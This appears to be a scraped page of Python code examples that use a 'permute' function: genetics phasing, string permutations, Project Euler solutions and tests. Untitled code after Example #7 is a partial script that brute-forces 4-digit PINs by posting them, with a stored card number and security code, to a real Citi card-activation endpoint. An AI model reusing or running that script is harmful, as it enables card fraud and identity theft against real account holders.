Example #1
0
    def generate_hap_seq_sets(self, pheno_seq, hap_seq_sets):
        phased_sets = []
        for genotype in pheno_seq:
            phases = []

            new_genotype = phenotype.convert_genotype(genotype)
            permute(new_genotype, 0, phases)
            phased_sets.append(copy(phases))

        self.generate(phased_sets, hap_seq_sets)
Example #2
0
 def generate_hap_seq_sets(self, pheno_seq, hap_seq_sets):
   phased_sets = []
   for genotype in pheno_seq:
     phases = []
     
     new_genotype = phenotype.convert_genotype(genotype)
     permute(new_genotype, 0, phases)
     phased_sets.append(copy(phases))
     
   self.generate(phased_sets, hap_seq_sets)
Example #3
0
def possible_strings(str1):
    #split and sort list
    chars_list = sorted(list(str1))
    sub_strings = []
    permutations = permute(chars_list)
    for each in permutations:
        sub_strings.append(''.join(each))
    return sub_strings
Example #4
0
def Solution():
    permute_base = '0123456789'
    answer = 0
    for d4 in ['2', '4', '6', '8', '0']:
        d6 = '5'
        this_perm = permute_base.replace(d4, '').replace(d6, '')
        for p in permute.permute(this_perm):
            num_str = p[:3] + d4 + p[3] + d6 + p[4:]
            if IsSubDiv(num_str):
                answer += int(num_str)
    print answer
Example #5
0
File: scan1.py Project: sushkh/SCAN
def query(inp1, domain):
    total = len(inp1)
    initial = [-1] * domain
    i, j = 0, 0
    final = [-1] * domain
    for index in range(total):
        if initial[len(inp1[index]) - 1] == -1:
            initial[len(inp1[index]) - 1] = index
            final[len(inp1[index]) - 1] = index
        else:
            final[len(inp1[index]) - 1] = index
    for index in range(total - 1):
        inp1 = sorted(inp1, key=lambda x: len(x))
        ##        print("INITIAL")
        ##        print(initial)
        ##        print("FINAL")
        ##        print(final)
        ##        print("Input:")
        ##        print(inp1)
        ##        print("Input[index]:")
        ##        print(inp1[index])
        if initial[len(inp1[index])] == -1:
            #count number of (-1's) and then set value of index and index2 accordingly
            #then permute the values of the input domain and call recursively "query()"
            check1 = len(inp1[index])
            check2 = check1
            while check2 < domain and initial[check2] == -1:
                check2 += 1
            index2 = initial[check2]
            ##            print(str(check2)+ " - " + str(check1) + " > 1")
            ##            print(inp1)
            ##            print("Input[index]:")
            ##            print(inp1[index])
            ##            print("Input[index2]:")
            ##            print(inp1[index2])
            index2 = initial[len(inp1[index])]
            while index2 <= final[len(inp1[index])]:
                comparison = [0] * 256
                for check in range(len(inp1[index])):
                    if comparison[ord(inp1[index][check])] == 0:
                        comparison[ord(inp1[index][check])] = 1
                    elif comparison[ord(inp1[index][check])] == 1:
                        comparison[ord(inp1[index][check])] = 0
                for check in range(len(inp1[index2])):
                    #print(inp1[index2])
                    if comparison[ord(inp1[index2][check])] == 0:
                        comparison[ord(inp1[index2][check])] = 1
                    elif comparison[ord(inp1[index2][check])] == 1:
                        comparison[ord(inp1[index2][check])] = 0
                diff = 0
                for ini in range(256):
                    diff = diff + comparison[ini]
##                print(comparison)
##                print(diff)
                if (diff > 1):
                    ##                    print("Input[index]:")
                    ##                    print(inp1[index])
                    ##                    print("Input[index2]:")
                    ##                    print(inp1[index2])
                    combi = permute.permute(inp1[index], inp1[index2],
                                            comparison)
                    ##                    print("Combi : ")
                    ##                    print(combi)
                    count = len(inp1)
                    for x in combi:
                        if x not in inp1:
                            inp1.append(x)
                            inp1 = sorted(inp1, key=lambda x: len(x))
                    count2 = len(inp1)
                    if (count2 > count):
                        query(inp1, domain)
                index2 = index2 + 1

##            if check2 - check1 > 1:
##                print("Index 1")
##                print(inp1[index-1])
##                print("Index 2")
##                print(inp1[index2])
##                combi = permute.permute(inp1[index-1],inp1[index2],comparison)
##                count = len(inp1)
##                for x in combi:
##                    if x not in inp1:
##                        inp1.append(x)
##                inp1 = sorted(inp1, key=lambda x: len(x))
##                count2 = len(inp1)
##                print(inp1)
##                #if(count2 > count):
#query(inp1,domain)
#permute.permute(inp1[index],inp1[index2],comparison)
#print("-1 encountered") #input data here itself else blunder!!!!
        else:

            index2 = initial[len(inp1[index])]
            while index2 < final[len(inp1[index])]:
                comparison = [0] * 256
                ##                print("INDEX")
                ##                print(index)
                ##
                ##                print("INDEX2")
                ##                print(index2)

                if (index2 >= len(inp1)):
                    break

                for check in range(len(inp1[index])):
                    if comparison[ord(inp1[index][check])] == 0:
                        comparison[ord(inp1[index][check])] = 1
                    elif comparison[ord(inp1[index][check])] == 1:
                        comparison[ord(inp1[index][check])] = 0
                for check in range(len(inp1[index2])):
                    #print(inp1[index2])
                    if comparison[ord(inp1[index2][check])] == 0:
                        comparison[ord(inp1[index2][check])] = 1
                    elif comparison[ord(inp1[index2][check])] == 1:
                        comparison[ord(inp1[index2][check])] = 0
                diff = 0
                for ini in range(256):
                    diff = diff + comparison[ini]
                #print(diff)
                if (diff > 1):
                    combi = permute.permute(inp1[index], inp1[index2],
                                            comparison)
                    count = len(inp1)
                    for x in combi:
                        if x not in inp1:
                            inp1.append(x)
                            inp1 = sorted(inp1, key=lambda x: len(x))
                    count2 = len(inp1)
                    if (count2 > count):
                        query(inp1, domain)
                index2 = index2 + 1


##    print("INITIAL")
##    print(initial)
##    print("FINAL")
##    print(final)
##    print("Input:")
##    print(inp1)
    return inp1
Example #6
0
 def test(self):
     self.assertEqual(sorted(permute("dog")),
                      sorted(["dog", "dgo", "odg", "ogd", "gdo", "god"]))
     self.assertEqual(sorted(permute("abc")),
                      sorted(["abc", "acb", "bac", "bca", "cab", "cba"]))
Example #7
0

# Classes
class Rectangle():
    length = 10
    width = 10

    def __init__(self, length, width):
        self.length = length
        self.width = width

    def area(self):
        return self.length * self.width


a = Rectangle(10, 20)
print a.area()
print getattr(a, 'length')
print delattr(a, 'length')
print a

# Permutations of numbers
numbers = [3, 5, 8, 10]
import itertools
print[a for a in itertools.permutations(numbers)]

from permute import permute
result = []
for x in permute(numbers):
    result.append(x)
print result
import config
import time
from permute import permute
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

HOME_URL = 'https://www.cardactivation.citi.com'
CONTINUE_URL = 'https://www.cardactivation.citi.com/Home/Continue1'
POSSIBLE_PIN_DIGITS = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
PIN_DIGIT_COUNT = 4
WAIT_DELAY = 5

card_number = config.card_number
security_code = config.security_code

possible_pins = permute(POSSIBLE_PIN_DIGITS, PIN_DIGIT_COUNT)


def post_request_brute_force(possible_pins, card_number, security_code, url):
    for pin in possible_pins:
        request_payload = {
            'cardNumber': card_number,
            'securityCode': security_code,
            'ssn': pin
        }

        continue_response = requests.post(CONTINUE_URL, json=request_payload)
        continue_response_payload = continue_response.json()
        status_code = continue_response_payload['Status']
        msg = continue_response_payload['Msg']
Example #9
0
    contains the same lists, False otherwise.

    Note that the ordering of the list is not important.

    Examples:
        check_output([ [0, 1], [1, 0] ] ], [ [1, 0], [0, 1] ]) returns True

    Args:
        output(list): list of list
        expected_output(list): list of list

    Returns:
        bool
    """
    o = copy.deepcopy(output)  # so that we don't mutate input
    e = copy.deepcopy(expected_output)  # so that we don't mutate input

    o.sort()
    e.sort()
    return o == e


print("Pass" if (check_output(p.permute([]), [[]])) else "Fail")
print("Pass" if (check_output(p.permute([0]), [[0]])) else "Fail")
print("Pass" if (
    check_output(p.permute([0, 1]), [[0, 1], [1, 0]])) else "Fail")
print("Pass" if (
    check_output(p.permute([0, 1, 2]), [[0, 1, 2], [0, 2, 1], [1, 0, 2],
                                        [1, 2, 0], [2, 0, 1], [2, 1, 0]])
) else "Fail")
Example #10
0
from permute import permute

if __name__ == '__main__':
    perms = []
    permute([0,1,2,3,4,5,6,7,8,9],perms)
    nums = [0]*len(perms)

    for i,perm in enumerate(perms):
        nums[i] = ''.join(perm)

    total = 0

    for perm in nums:
        if int(perm[7:]) % 17 == 0 and int(perm[6:9]) % 13 == 0 and int(perm[5:8]) % 11 == 0 and int(perm[4:7]) % 7 == 0 and int(perm[3:6]) % 5 == 0 and int(perm[2:5]) % 3 == 0 and int(perm[1:4]) % 2 == 0:
            total += int(perm)

    print("total is {}".format(total))